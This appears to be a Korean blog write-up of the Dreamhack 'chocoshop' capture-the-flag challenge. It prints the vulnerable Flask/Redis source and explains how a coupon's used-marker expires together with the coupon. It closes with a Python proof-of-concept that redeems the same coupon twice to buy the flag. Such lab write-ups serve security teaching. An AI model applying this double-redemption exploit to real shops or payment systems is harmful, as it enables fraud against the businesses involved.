[Dreamhack] chocoshop

이번엔 dreamhack chocoshop 문제를 풀 거다.

웹페이지 접속

웹페이지에 접속하면 바로 보이는 페이지다.

 

세션이 요구되므로 Acquire Session 버튼을 눌러서 세션을 발급받는다.

 

 

세션 발급 받은 후 화면

그러면 이렇게 세션을 발급 받을 수 있고 오른쪽 위에는 현재 잔액이 표시된다.

 

/shop 화면

SHOP 버튼을 누르면 빼빼로 또는 플래그를 구매할 수 있다.

 

mypage 화면

MYPAGE 버튼을 누르면 위와 같이 나오고 Claim 버튼을 눌러서 쿠폰을 발급받을 수 있고 Submit에 쿠폰을 입력하여 쿠폰을 적용시킬 수 있다.

 

쿠폰 적용 성공

쿠폰 적립 완료

적용하면 쿠폰이 적용됐다는 알림과 함께 1000원이 생긴 것을 확인할 수 있다.

하지만 이걸로는 FLAG를 구매하지 못 한다.

쿠폰은 한 번밖에 적용 못 하고 발급도 안 돼서 방법이 없다.

 

문제 설명

문제 설명에는 이렇게 써져 있는데 쿠폰을 레이스 컨디션 등을 통해 여러 번 적용시킬 수 있는 거 같다.

그래서 일단 코드를 살펴봤다.

 

 

from flask import Flask, request, jsonify, current_app, send_from_directory
import jwt
import redis
from datetime import timedelta
from time import time
from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized
from functools import wraps
from json import dumps, loads
from uuid import uuid4

r = redis.Redis()
app = Flask(__name__)

# SECRET CONSTANTS
# JWT_SECRET = 'JWT_KEY'
# FLAG = 'DH{FLAG_EXAMPLE}'
from secret import JWT_SECRET, FLAG

# PUBLIC CONSTANTS
COUPON_EXPIRATION_DELTA = 45
RATE_LIMIT_DELTA = 10
FLAG_PRICE = 2000
PEPERO_PRICE = 1500


def handle_errors(error):
    return jsonify({'status': 'error', 'message': str(error)}), error.code


for de in default_exceptions:
    app.register_error_handler(code_or_exception=de, f=handle_errors)


def get_session():
    def decorator(function):
        @wraps(function)
        def wrapper(*args, **kwargs):
            uuid = request.headers.get('Authorization', None)
            if uuid is None:
                raise BadRequest("Missing Authorization")

            data = r.get(f'SESSION:{uuid}')
            if data is None:
                raise Unauthorized("Unauthorized")

            kwargs['user'] = loads(data)
            return function(*args, **kwargs)
        return wrapper
    return decorator


@app.route('/flag/claim')
@get_session()
def flag_claim(user):
    if user['money'] < FLAG_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= FLAG_PRICE
    return jsonify({'status': 'success', 'message': FLAG})


@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
    if user['money'] < PEPERO_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= PEPERO_PRICE
    return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})


@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')


@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})


@app.route('/session')
def make_session():
    uuid = uuid4().hex
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
        {'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
    return jsonify({'session': uuid})


@app.route('/me')
@get_session()
def me(user):
    return jsonify(user)


@app.route('/')
def index():
    return current_app.send_static_file('index.html')

@app.route('/images/<path:path>')
def images(path):
    return send_from_directory('images', path)

app.py 내용이다.

 

/coupon_claim을 통해 쿠폰을 발급받고

/coupon_submit을 통해 쿠폰을 적용한다.

 

@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})

 여기서 보면 쿠폰은 JWT로 만들어지고 그 안에 여러 값 들이 있는데 expiration: int(time()) + COUPON_EXPIRATION_DELTA라는 값이 있다.

COUPON_EXPIRATION_DELTA = 45라는 게 있으므로 쿠폰의 유효 기간은 쿠폰을 발급받은 후 45초 이내라는 것을 알 수 있다.

 

@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')

그리고 문제가 있다던 쿠폰 검사 로직이 있는 부분이다.

 

위 함수는 쿠폰을 검증하고 쿠폰을 적용시키는 함수이고 과정은 아래와 같다

 

1. 쿠폰의 존재 여부 확인

2. JWT 토큰 유효성 검사

3. JWT 토큰 유효기간 검사

4. 요청 빈도 검사

5. 쿠폰 사용 기록 검사

 

위 다섯 과정을 거친 후 포인트가 적립이 된다.

여기서 문제는 5번 중 쿠폰 사용 여부를 기록하는 과정이다.

 

r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))

이 부분을 자세히 보자

coupon['expiration']은 쿠폰이 발급될 때 설정되는 절대적인 시간이다. (쿠폰이 발급시간 + 45초)

int(time())은 현재 시간으로 쿠폰이 제출되는 때이다.

coupon['expiration'] - int(time())으로 쿠폰이 만료되기까지 남은 시간을 구한다.

 

이 결과로 쿠폰 사용 기록이 쿠폰의 남은 유효 시간만큼 Redis에 존재하게 만든다.

 

이것이 문제인데 아래와 같이 악용할 수 있다.

 

공격자가 먼저 쿠폰을 발급받은 후 바로 그 쿠폰을 사용한다.

그러면 쿠폰을 검사하는 다섯 과정을 거치고 1000원을 얻을 수 있다.

 

쿠폰을 사용한 후 45초보다 짧게 44.0 ~ 44.9초를 기다린 후 쿠폰을 다시 사용한다.

그렇게 되면 쿠폰을 발급받고 45초 이내에 사용했으므로 3번 과정인 JWT 토큰 유효기간 검사를 통과할 수 있고

44.0 ~ 44.9초 동안 기다리다가 두 번째 쿠폰을 사용하면서 시간이 지나 Redis에서 키가 사라졌으므로 5번 과정인 쿠폰 사용 기록 검사도 통과할 수 있다.

 

즉 이렇게 하면 한 개의 쿠폰을 두 번 사용가능하다.

 

import requests
import time

URL = "http://host8.dreamhack.games:23480/"
WAIT_SECONDS = 44.9

# 1. 세션 생성 및 쿠폰 발급
session = requests.Session()
session_id = session.get(f"{URL}/session").json()['session']
session.headers.update({'Authorization': session_id})
coupon = session.get(f"{URL}/coupon/claim").json()['coupon']

# 2. 쿠폰 제출을 위한 헤더 준비
submit_headers = session.headers.copy()
submit_headers['coupon'] = coupon

# 3. 첫 번째 제출
requests.get(f"{URL}/coupon/submit", headers=submit_headers)

# 4. 시간차 공격을 위해 대기
print(f"[*] {WAIT_SECONDS}초 대기...")
time.sleep(WAIT_SECONDS)

# 5. 두 번째 제출
requests.get(f"{URL}/coupon/submit", headers=submit_headers)

# 6.결과 출력
print("[*] 플래그 요청 결과:")
flag_response = session.get(f"{URL}/flag/claim")
print(flag_response.json())

 

 

exploit 성공

그래서 poc 작성해서 공격해보면 위와 같이 flag 값을 얻을 수 있다.